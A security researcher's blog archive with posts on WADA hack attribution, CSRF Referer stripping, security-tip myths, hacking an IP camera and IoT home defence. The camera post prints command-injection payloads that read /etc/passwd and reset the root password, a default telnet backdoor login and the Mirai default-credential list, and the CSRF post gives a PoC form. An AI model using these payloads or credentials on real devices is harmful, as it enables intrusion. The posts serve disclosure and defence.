Monday, October 17, 2016

Why (I believe) WADA was not hacked by the Russians

Disclaimer: This is my personal opinion. I am not an expert in attribution. But as it turns out, not many people in the world are good at attribution. I know this post lacks real evidence, and is mostly based on speculation.

Let's start with the main facts we know about the WADA hack, in a chronological order:

1. Some point in time (August - September 2016), the WADA database has been hacked and exfiltrated
2. August 15th, "WADA has alerted their stakeholders that email phishing scams are being reported in connection with WADA and therefore asks its recipients to be careful"
3.September 1st, the domain has been registered
   Domain Name: FANCYBEAR.NET
   Updated Date: 18-sep-2016
   Creation Date: 01-sep-2016

4. The content of the WADA hack has been published on the website
5. The @FancyBears and @FancyBearsHT Twitter accounts have been created, and started to tweet on 12th September, reaching out to journalists
6. 12th September, Western media started headlines "Russia hacked WADA"
7. The leaked documents have been altered, states WADA

The Threatconnect analysis

The only technical analysis on why Russia was behind the hack, can be read here:

After reading this, I was able to collect the following main points:

  1. It is Russia, because Russian APT groups are capable of phishing
  2. It is Russia, because the phishing site "wada-awa[.]org was registered and uses a name server from ITitch[.]com, a domain registrar that FANCY BEAR actors recently used"
  3. It is Russia, because "Wada-arna[.]org and tas-cass[.]org were registered through and use name servers from Domains4bitcoins[.]com, a registrar that has also been associated with FANCY BEAR activity."
  4. It is Russia, because "The registration of these domains on August 3rd and 8th, 2016 are consistent with the timeline in which the WADA recommended banning all Russian athletes from the Olympic and Paralympic games."
  5. It is Russia, because "The use of 1&1 webmail addresses to register domains matches a TTP we previously identified for FANCY BEAR actors."

There is an interesting side-track in the article, the case of the @anpoland account. Let me deal with this at the end of this post.

My problem with the above points is that all five flag was publicly accessible to anyone as TTP's for Fancy Bear. And meanwhile, all five is weak evidence. Any script kittie in the world is capable of both hacking WADA, and planting these false-flags.

A stronger than these weak evidences would be:

  • Malware sharing same code attributed to Fancy Bear (where the code is not publicly available or circulating on hackforums)
  • Private servers sharing IP address with previous attacks attributed to Fancy Bear (where the server is not a hacked server, or a proxy used by multiple parties)
  • E-mail addresses used to register the domain attributed to Fancy Bear
  • Many other things
For me it is quite strange that after such great analysis on Guccifer 2.0, the Threatconnect guys came up with this low-value post. 

The fancybear website

It is quite unfortunate that the analysis was not updated after the documents have been leaked. But let's just have a look at the fancybear . net website, shall we?

Now the question is, if you are a Russian state sponsored hacker group, and you are already accused of the hack itself, do you create a website with tons of bears on the website, and do you choose the same name (Fancy Bear) for your "Hack team" that is already used by Crowdstrike to refer to a Russian state sponsored hacker group? Well, for me, it makes no sense. Now I can hear people screaming: "The Russians changed tactics to confuse us". Again, it makes no sense to change tactics on this, while keeping tactics on the "evidence" found by Threatconnect.

It makes sense that a Russian state sponsored group creates a fake persona, names it Guccifer 2.0, pretends Guccifer 2.0 is from Romania, but at the end it turns out Guccifer 2.0 isn't a native Romanian speaker. That really makes sense.

What happens when someone creates this fancybear website for leaking the docs, and from the Twitter account reaches out to the media? Journalists check the website, they see it was done by Fancy Bear, they Bing Google this name, and clearly see it is a Russian state sponsored hacker group. Some journalists also found the Threatconnect report, which seems very convincing for the first read. I mean, it is a work of experts, right? So you can write in the headlines that the hack was done by the Russians.

Just imagine an expert in the USA or Canada writing in report for WADA:
"the hack was done by non-Russian, but state-sponsored actors, who planted a lot of false-flags to accuse the Russians and to destroy confidence in past and future leaks". Well, I am sure this is not a popular opinion, and whoever tries this, risks his career. Experts are human, subject to all kind of bias.

The Guardian

The only other source I was able to find is from The Guardian, where not just one side (it was Russia) was represented in the article. It is quite unfortunate that both experts are from Russia - so people from USA will call them being not objective on the matter. But the fact that they are Russian experts does not mean they are not true ...

Sergei Nikitin:
“We don’t have this in the case of the DNC and Wada hacks, so it’s not clear on what basis conclusions are being drawn that Russian hackers or special services were involved. It’s done on the basis of the website design, which is absurd,” he said, referring to the depiction of symbolically Russian animals, brown and white bears, on the “Fancy Bears’ Hack Team” website.

I don't agree on the DNC part, but this is not the topic of conversation here.

Alexander Baranov:
"the hackers were most likely amateurs who published a “semi-finished product” rather than truly compromising information. “They could have done this more harshly and suddenly,” he said. “If it was [state-sponsored] hackers, they would have dug deeper. Since it’s enthusiasts, amateurs, they got what they got and went public with it.”"

The @anpoland side-track

First please check the hack  , I will be here when you finished it. This is a website for "Court of Arbitration for Sport’s", and referring to the Threatconnect post, "CAS is a the highest international tribunal that was established to settle disputes related to sport through arbitration. Starting in 2016, an anti-doping division of CAS began judging doping cases at the Olympic Games, replacing the IOC disciplinary commission." Now you can see why this attack is also discussed here.

  • My bet is that this machine was set-up for these @anpoland videos only. Whether is a false flag or it is real, hard to decide. It is interesting to see that there is no google search done via, it is used only once. 
  • The creator of the video can't double click. Is it because he has a malfunctioning mouse? Is it because he uses a virtualization console, which is near-perfect OPSEC to hide your real identity? My personal experience is that using virtualization consoles remotely (e.g. RDP) have very similar effects what we can see on the video. 
  • The timeline of the Twitter account is quite strange, registered in 2010
  • I agree with the Threatconnect analysis that this @anpoland account is probably a faketivist, and not an activist. But who is behind it, remains a mistery. 
  • Either the "activist" is using a whonix-like setup for remaining anonymous, or a TOR router (something like this), or does not care about privacy at all. Looking at the response times (SQLmap, web browser), I doubt this "activist" is behind anything related to TOR. Which makes no sense for an activist, who publishes his hack on Youtube. People are stupid for sure, but this does not add up. It makes sense that this was a server (paid by bitcoins or stolen credit cards or whatever) rather than a home computer.
For me this whole @anpoland thing makes no sense, and I think it is just loosely connected to the WADA hack. 

The mysterious Korean characters in the HTML source

There is another interesting flag in the whole story, which actually makes no sense. When the website was published, there were Korean characters in HTML comments. 

When someone pointed this out in Twitter, these Korean HTML comments disappeared:
These HTML comments look like generated HTML comments, from a WYSIWYG editor, which is using Korean language. Let me know if you can identify editor.

The Russians are denying it

Well, what choice they have? Does not matter if they did this or not, they will deny it. And they can't deny this differently. Just imagine a spokeperson: "Previously we have falsely denied the DCC and DNC hacks, but this time please believe us, this wasn't Russia." Sounds plausible ...


Let me sum up what we know:

It makes sense that the WADA hack was done by Russia, because:

  1. Russia being almost banned from the Olympics due to doping scandal, it made sense to discredit WADA and US olympians
  2. There are multiple(weak) evidences which point to Russia
It makes sense that the WADA hack was not done by  Russia, because: 
  1. By instantly attributing the hack to the Russians, the story was more about to discredit Russia than discrediting WADA or US Olympians.
  2. In reality, there was no gain for Russia for disclosing the documents. Nothing happened, nothing changed, no discredit for WADA. Not a single case turned out to be illegal or unethical.
  3. Altering the leaked documents makes no sense if it was Russia (see update at the end). Altering the leaked documents makes a lot of sense if it was not Russia. Because from now on, people can always state "these leaks cannot be trusted, so it is not true what is written there". It is quite cozy for any US organization, who has been hacked or will be hacked. If you are interested in the "Russians forging leaked documents" debate, I highly recommend to start with this The Intercept article
  4. If the Korean characters were false flags planted by the Russians, why would they remove it? If it had been Russian characters, I would understand removing it.
  5. All evidence against Russia is weak, can be easily forged by even any script kittie.

I don't like guessing, but here is my guess. This WADA hack was an operation of a (non-professional) hackers-for-hire service, paid by an enemy of Russia. The goal was to hack WADA, leak the documents, modify some contents in the documents, and blame it all on the Russians ...

Questions and answers

  • Was Russia capable of doing this WADA hack? Yes.
  • Was Russia hacking WADA? Maybe yes, maybe not.
  • Was this leak done by a Russian state-sponsored hacker group? I highly doubt that.
  • Is it possible to buy an attribution-dice where all six-side is Russia? No, it is sold-out. 

To quote Patrick Gray: "Russia is the new China, and the Russians ate my homework."©

Let me know what you think about this, and please comment. 

Sunday, June 19, 2016

CSRF Referer header strip


Most of the web applications I see are kinda binary when it comes to CSRF protection; either they have one implemented using CSRF tokens (and more-or-less covering the different functions of the web application) or there is no protection at all. Usually, it is the latter case. However, from time to time I see application checking the Referer HTTP header.

A couple months ago I had to deal with an application that was checking the Referer as a CSRF prevention mechanism, but when this header was stripped from the request, the CSRF PoC worked. BTW it is common practice to accept empty Referer, mainly to avoid breaking functionality.

The OWASP Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet tells us that this defense approach is a baaad omen, but finding a universal and simple solution on the Internetz to strip the Referer header took somewhat more time than I expected, so I decided that the stuff that I found might be useful for others too.

Solutions for Referer header strip

Most of the techniques I have found were way too complicated for my taste. For example, when I start reading a blog post from Egor Homakov to find a solution to a problem, I know that I am going to:
  1. learn something very cool;
  2. have a serious headache from all the new info at the end.
This blog post from him is a bit lighter and covers some useful theoretical background, so make sure you read that first before you continue reading this post. He shows a few nice tricks to strip the Referer, but I was wondering; maybe there is an easier way?

Rich Lundeen (aka WebstersProdigy) made an excellent blog post on stripping the Referer header (again, make sure you read that one first before you continue). The HTTPS to HTTP trick is probably the most well-known one, general and easy enough, but it quickly fails the moment you have an application that only runs over HTTPS (this was my case).

The data method is not browser independent but the about:blank trick works well for some simple requests. Unfortunately, in my case the request I had to attack with CSRF was too complex and I wanted to use XMLHttpRequest. He mentions that in theory, there is anonymous flag for CORS, but he could not get it work. I also tried it, but... it did not work for me either.

Krzysztof Kotowicz also wrote a blog post on Referer strip, coming to similar conclusions as Rich Lundeen, mostly using the data method.

Finally, I bumped into Johannes Ullrich's ISC diary on Referer header and that led to me W3C's Referrer Policy. So just to make a dumb little PoC and show that relying on Referer is a not a good idea, you can simply use the "referrer" meta tag (yes, that is two "r"-s there).

The PoC would look something like this:
  <meta name="referrer" content="never">
    <form action="" method="POST">
      <input type="hidden" name="param1" value="1" />
      <input type="hidden" name="param2" value="2" />


As you can see, there is quite a lot of ways to strip the Referer HTTP header from the request, so it really should not be considered a good defense against CSRF. My preferred way to make is PoC is with the meta tag, but hey, if you got any better solution for this, use the comment field down there and let me know! :)

Saturday, June 11, 2016

One reason why InfoSec sucked in the past 20 years - the "security tips" myth

From time to time, I get disappointed how much effort and money is put into securing computers, networks, mobile phones, ... and yet in 2016 here we are, where not much has changed on the defensive side. There are many things I personally blame for this situation, and one of them are the security tips.

The goal of these security tips is that if the average user follows these easy to remember rules, their computer will be safe. Unfortunately, by the time people integrate these rules into their daily life, these rules either become outdated, or these rules were so oversimplified that it was never true in the first place. Some of these security tips might sound ridiculous to people in InfoSec nowadays, but this is exactly what people still remember because we told them so for years.

PDF is safe to open

This is an oldie. I think this started at the time of macro viruses. Still, people think opening a PDF from an untrusted source is safer than opening a Word file. For details why this is not true, check:
On an unrelated note, people still believe PDF is integrity protected because the content cannot be changed (compered to a Word document).
Image stolen from Kaspersky

Java is secure

One of the best ones. Oracle started marketing Java as a safe language, where buffer overflows, format strings and pointer based vulnerabilities are gone. Unfortunately they forgot to tell the world that instead of "unsafe programs developed by others" they installed their unsafe program on 3 billion devices. 

Stay away from rogue websites and you will be safe

This is a very common belief I hear from average people. "I only visit some trusted news sites and social media, I never visit those shady sites." I have some bad news. At the time of malvertising and infected websites, you don't have to visit those shady sites anymore to get infected.

Don't use open WiFi

I have a very long explanation why this makes no sense, see here. Actually, the whole recommendation makes no sense as people will connect to public WiFis, no matter what we (InfoSec) recommend.

The password policy nightmare

Actually this topic has been covered by myself in two blog posts, see here and here. Long story short: use a password manager and 2 factor authentication wherever possible. Let the password manager choose the password for you. And last but not least, corporate password policy sux.

Sites with a padlock are safe

We tell people for years that the communication with HTTPS sites are safe, and you can be sure it is HTTPS by finding a randomly changing padlock icon somewhere next to the URL. What people hear is that sites with padlocks are safe. Whatever that means. Same goes for WiFi - a network with a padlock is safe.

Use Linux, it is free from malware

For years people told to Windows users that only if they would use Linux they won't have so much malware. Thanks to Android, now everyone on the world can enjoy malware on his/her Linux machine.

OSX is free from malware

It is true that there is significantly less malware on OSX than on Windows, but this is an "economical" question rather than a "security" one. The more people use OSX, the better target it will become. Some people even believe they are safe from phishing because they are using a Mac!

Updated AV + firewall makes me 100% safe

There is no such thing as 100% safe, and unfortunately nowadays most malware is written for PROFIT, which means it can bypass these basic protections for days (or weeks, months, years). The more proactive protection is built into the product, the better!

How to backup data

Although this is one of the most important security tip which is not followed by people, my problem here is not the backup data advise, but how we as a community failed to provide easy to use ways to do that. Now that crypto-ransomware is a real threat to every Windows (and some OSX) users, even those people who have backups on their NAS can find their backups lost. The only hope is that at least OSX has Time Machine which is not targeted yet, and the only backup solution which really works.
The worst part is that we even created NAS devices which can be infected via worms ...

Disconnect your computer from the Internet when not used

There is no need to comment this. Whoever recommends things like that, clearly has a problem.

Use (free) VPN to protect your anonimity

First of all. There is no such thing as free service. If it is free, you are the service. On another hand, non-free VPN can introduce new vulnerablities, and they won't protect your anonimity. It replaces one ISP with another (your VPN provider). Even TOR cannot guarantee anonimity by itself, and VPNs are much worse.

The corporate "security tips" myth

"Luckily" these toxic security tips have infected the enterprise environment as well, not just the home users.

Use robots.txt to hide secret information on public websites

It is 2016 and somehow web developers still believe in this nonsense. And this is why this is usually the first to check on a website for penetration testers or attackers.

My password policy is safer than ever

As previously discussed, passwords are bad. Very bad. And they will stick with us for decades ...

Use WAF, IDS, IPS, Nextgen APT detection hibber-gibber and you will be safe

Companies should invest more into people and less into magic blinking devices.

Instead of shipping computers with bloatware, ship computers with exploit protection software
Teach people how to use a password safe
Teach people how to use 2FA
Teach people how to use common-sense


Computer security is complex, hard and the risks change every year. Is this our fault? Probably. But these kind of security tips won't help us save the world. 

Saturday, September 26, 2015

How I hacked my IP camera, and found this backdoor account

The time has come. I bought my second IoT device - in the form of a cheap IP camera. As it was the cheapest among all others, my expectations regarding security was low. But this camera was still able to surprise me.

Maybe I will disclose the camera model used in my hack in this blog later, but first I will try to contact someone regarding these issues. Unfortunately, it seems a lot of different cameras have this problem, because they share being developed on the same SDK. Again, my expectations are low on this.

The obvious problems

I opened the box, and I was greeted with a password of four numeric characters. This is the password for the "admin" user, which can configure the device, watch it's output video, and so on. Most people don't care to change this anyway.

It is obvious that this camera can talk via Ethernet cable or WiFi. Luckily it supports WPA2, but people can configure it for open unprotected WiFi of course. 

Sniffing the traffic between the camera and the desktop application it is easy to see that it talks via HTTP on port 81. The session management is pure genius. The username and password is sent in every GET request. Via HTTP. Via hopefully not open WiFi. It comes really handy in case you forgot it, but luckily the desktop app already saved the password for you in clear text in 
"C:\Users\<USER>\AppData\Local\VirtualStore\Program Files (x86)\<REDACTED>\list.dat"

This nice camera communicates to the cloud via UDP. The destination servers are in Hong Kong and China. In case you wonder why an IP camera needs a cloud connection, it is simple. This IP camera has a mobile app for Android and iOS, and via the cloud the users don't have to bother to configure port forwards or dynamic DNS to access the camera. Nice.

Let's run a quick nmap on this device.
23/tcp   open  telnet     BusyBox telnetd
81/tcp   open  http       GoAhead-Webs httpd
| http-auth: 
| HTTP/1.1 401 Unauthorized
|_  Digest algorithm=MD5 opaque=5ccc069c403ebaf9f0171e9517f40e41 qop=auth realm=GoAhead stale=FALSE nonce=99ff3efe612fa44cdc028c963765867b domain=:81
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
|_http-title: Document Error: Unauthorized
8600/tcp open  tcpwrapped
The already known HTTP server, a telnet server via BusyBox, and a port on 8600 (have not checked so far). The 27 page long online manual does not mention any Telnet port. How shall we name this port? A debug port? Or a backdoor port? We will see. I manually tried 3 passwords for the user root, but as those did not work, I moved on.

The double blind command injection

The IP camera can upload photos to a configured FTP server on a scheduled basis. When I configured it, unfortunately it was not working at all, I got invalid username/password on the server. After some debugging, it turned out the problem was that I had a special $ character in the password. And this is where the real journey began. I was sure this was a command injection vulnerability, but not sure how to exploit it. There were multiple problems which made the exploitation harder. I call this vulnerability double blind command injection. The first blind comes from the fact that we cannot see the output of the command, and the second blind comes from the fact that the command was running in a different process than the webserver, thus any time-based injection involving sleeps was not a real solution.
But the third problem was the worst. It was limited to 32 characters. I was able to leak some information via DNS, like with the following commands I was able to see the current directory:
or cleaned up after URL decode:
$(ping -c 2 `pwd`)
but whenever I tried to leak information from /etc/passwd, I failed. I tried $(reboot) which was a pretty bad idea, as it turned the camera into an infinite reboot loop, and the hard reset button on the camera failed to work as well. Fun times.

Following are some examples of my desperate trying to get shell access. And this is the time to thank EQ for his help during the hacking session night, and for his great ideas.
$(cp /etc/passwd /tmp/a)       ;copy /etc/passwd to a file which has a shorter name
$(cat /tmp/a|head -1>/tmp/b)   ;filter for the first row
$(cat</tmp/b|tr -d ' '>/tmp/c) ;filter out unwanted characters
$(ping `cat /tmp/c`)           ;leak it via DNS
After I finally hacked the camera, I saw the problem. There is no head, tr, less, more or cut on this device ... Neither netcat, bash ...

I also tried commix, as it looked promising on Youtube. Think commix like sqlmap, but for command injection. But this double blind hack was a bit too much for this automated tool unfortunately.

But after spending way too much time without progress, I finally found the password to Open Sesame.
$(echo 'root:passwd'|chpasswd)
Now, logging in via telnet
(none) login: root

BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

Woot woot :) I quickly noticed the root of the command injection problem:

# cat /tmp/
/system/system/bin/ftp -n<<!
open 21
user ftpuser $(echo 'root:passwd'|chpasswd)
mkdir  PSD-111111-REDACT
cd PSD-111111-REDACT
lcd /tmp
put 12.jpg 00_XX_XX_XX_XX_CA_PSD-111111-REDACT_0_20150926150327_2.jpg

Whenever a command is put into the FTP password field, it is copied into this script, and after the script is scheduled, it is interpreted by the shell as commands. After this I started to panick that I forgot to save the content of the /etc/passwd file, so how am I going to crack the default telnet password? "Luckily", rebooting the camera restored the original password. 


Unfortunately there is no need to start good-old John The Ripper for this task, as Google can tell you that this is the hash for the password 123456. It is a bit more secure than a luggage password.

It is time to recap what we have. There is an undocumented telnet port on the IP camera, which can be accessed by default with root:123456, there is no GUI to change this password, and changing it via console, it only lasts until the next reboot. I think it is safe to tell this a backdoor.
With this console access we can access the password for the FTP server, for the SMTP server (for alerts), the WiFi password (although we probably already have it), access the regular admin interface for the camera, or just modify the camera as we want. In most deployments, luckily this telnet port is behind NAT or firewall, so not accessible from the Internet. But there are always exceptions. Luckily, UPNP does not configure the Telnet port to be open to the Internet, only the camera HTTP port 81. You know, the one protected with the 4 character numeric password by default.

Last but not least everything is running as root, which is not surprising. 

My hardening list

I added these lines to the end of /system/init/
sleep 15
echo 'root:CorrectHorseBatteryRedStaple'|chpasswd
Also, if you want, you can disable the telnet service by commenting out telnetd in /system/init/

If you want to disable the cloud connection (thus rendering the mobile apps unusable), put the following line into the beginning of /system/init/
iptables -A OUTPUT -p udp ! --dport 53 -j DROP

My TODO list

  • Investigate the script /system/system/bin/gmail_thread
  • Investigate the cloud protocol
  • Buy a Raspberry Pie, integrate with a good USB camera, and watch this IP camera to burn
A quick googling revealed I am not the first finding this telnet backdoor account in IP cameras, although others found it via JTAG firmware dump. 

And 99% of the people who buy these IP cameras think they will be safe with it. Now I understand the sticker which came with the IP camera.

When in the next episode of Mr Robot you see someone logging into an IP camera via telnet with root:123456, you will know, it is the sad reality.

If you are interested in generic ways to protect your home against IoT, read my previous blog post on this. 

Update: as you can see on the following screenshot, the bad guys already started to take advantege of this issue ...

Update 20161006: The Mirai source code has been leaked last week, and these are the worst passwords you can have in an IoT device. If your IoT device has a Telnet port open (or SSH), scan for these username/password pairs.

root     xc3511
root     vizxv
root     admin
admin    admin
root     888888
root     xmhdipc
root     default
root     juantech
root     123456
root     54321
support  support
root     (none)
admin    password
root     root
root     12345
user     user
admin    (none)
root     pass
admin    admin1234
root     1111
admin    smcadmin
admin    1111
root     666666
root     password
root     1234
root     klv123
Administrator admin
service  service
supervisor supervisor
guest    guest
guest    12345
guest    12345
admin1   password
administrator 1234
666666   666666
888888   888888
ubnt     ubnt
root     klv1234
root     Zte521
root     hi3518
root     jvbzd
root     anko
root     zlxx.
root     7ujMko0vizxv
root     7ujMko0admin
root     system
root     ikwb
root     dreambox
root     user
root     realtek
root     00000000
admin    1111111
admin    1234
admin    12345
admin    54321
admin    123456
admin    7ujMko0admin
admin    1234
admin    pass
admin    meinsm
tech     tech
mother   fucker

Thursday, August 20, 2015

How to secure your home against "Internet of Things" and FUD

TL;DR most of the security news about IoT are full of FUD. Always put the risks in context - who can exploit this and what can the attacker do with it. Most news only cover the latter.


There is rarely a day without news that another "Internet of Things" got hacked. "Smart" safes, "smart" rifles, "smart" cars, "smart" fridges, "smart" TVs, "smart" alarm systems, "smart" meters, "smart" bulbs, NAS devices, routers. These devices are getting hacked every day. Because most of these devices were never designed with security as a goal, and some of them have been never tested by security professionals, it is no surprise that these things are full of vulnerabilities.

Independent security researchers find these vulnerabilities, write a cool blog post or give a presentation about the vulnerability and the exploit, and the media forgets the constraints just for the sake of more clicks. "We are all doomed" we can read in the news, but sometimes the risks are buried deeply in technical jargon. Please note I blame the news sites here, not the researchers.

There are huge differences between the following risks:

  • Attackers can directly communicate with the router (or camera) from the Internet without authentication and exploit the vulnerability. This is the worst case scenario. For example an automated ransomware attack against your NAS is pretty bad.
  • Attackers have to position themselves in the same WAN network (e.g. Sprint mobile network in the case of Jeep hacking) to exploit the vulnerability. This is still pretty bad.
  • The vulnerable code can not be triggered directly from the Internet, but tricks like CSRF can be used to exploit it (details later in this post). 
  • The vulnerable code can not be triggered directly from the Internet, and it uses a protocol/port which prevents Cross Protocol Scripting. Attackers have to access the local network before exploiting this vulnerability.
As it is the case with the worst scenario, one can find a lot of devices connected to the internet. You can always find funny stuff at , or use the nmap screenshot script to find your own stuff :)

Network exposure

Most devices are behind an IPv4 NAT device (e.g. home router), thus can not be reached from the Internet side by default. Except when the device configures the firewall via UPNP. Or the device has a persistence cloud connection, and the cloud can send commands to the device. Or the device uses IPv6 tunneling (e.g. Teredo), thus it is reachable from the Internet. But not every vulnerability on your home network is accessible directly from the Internet. As more and more devices and networks will support IPv6, this scenario might change, but I hope most home routers will come with a default deny configuration in their IPv6 firewall module. On the other hand, scanning for IPv6 devices blindly is not feasible due to the large number of IPv6 addresses, but some tricks might work

If attackers can not access the device directly, there is a way to hack it through the user's browser. Just convince the victim user to visit a website, and via CSRF (Cross Site Request Forgery) and brute-forcing the device IP, it is possible to hack some devices (mostly through HTTP - if the exploit can fit into simple GET or POST commands.

If attackers can not attack the device vulnerability through the Internet directly, or via CSRF, but  have connect to the same network - the network exposure shrinks significantly. And when attackers are on the same network as you, I bet you have bigger problems than the security of the IoT devices ...

Recommendations for home users

Don't buy **** you don't need

Disable cloud connectivity if it is not necessary. For example I have a NAS device which can be reached through the "cloud", but I have disabled it by not configuring any default gateway for the device. I prefer connecting to my network via VPN and reach all my stuff through that.

Prevent CSRF attacks. I use two tricks. Don't use the 192.168.0.x - 192.168.10.x network at home - use an uncommon IP range instead (e.g. 192.168.156.x is better). The second trick is I configured my Adblock plugin in my primary browser to block access to my internal network. And I use another browser whenever I want to access my internal devices. Update: On Firefox you can use NoScript ABE to block access to internal resources.

Check your router configuration:

  • disable UPNP
  • check the firewall settings and disable unnecessary port forwards
  • check for IPv6 settings, and configure the firewall as default deny for incoming IPv6 TCP/UDP.

Change default passwords, especially for services connected to the Internet. Follow password best practices.

Run Nmap to locate new IoT in your home network :) 

Run WiFi scan to locate new WiFi access points. Let me share a personal experience with you. I moved to a new house, and brought my own WiFi router with me. I plugged it in, and forget about WiFi. Months later it turned out I had two other WiFi devices in my house - the cable modem had it's own integrated WiFi with default passwords printed on the bottom, and the Set-top-box was the same - default WiFi passwords printed on the bottom. And don't forget to scan for ZigBee, Bluetooth, IrDA, FM, ...

Update your devices - in case you have a lot of free time in your hand.

Don't allow your guests to connect to your home network. Set up a separated AP for them. Imagine your nephew stealing your private photos or videos from your NAS or DNLA server.

With great power, it comes great responsibility. The less device you own in your house, the less time you need to maintain those.

Read the manuals of your devices. Be aware of the different interfaces. Configure it in a secure way.

Stop being amazed by junk hacking.

Update: Disable WebRTC: , in Chrome you can use this extension:

Update: Prevent against DNS rebind attacks via configuring a DNS server which can block internal IP addresses. OpenDNS can block internal IP, but this is not a default option, you have to configure it.

Recommendations for vendors

For vendors, I recommend at least the followings:

  • Implement security during Software Development LifeCycle
  • Continuous security testing and bug bounties
  • Seamless auto-update
  • Opt-in cloud connectivity

Recommendations for journalists

Stop FUD. Pretty please.

The questions to ask before losing your head

  • who can exploit the vulnerability?
  • what prerequisites do we have about the attack to successfully exploit the vulnerability? Is the attacker already in your home network? If yes, you have probably bigger problems.
  • what can the attacker do when the exploit is successful?

And last but not least don't forget that in the case of IoT devices sometimes users are the product, not the customer. IoT is about collecting data for marketing purposes.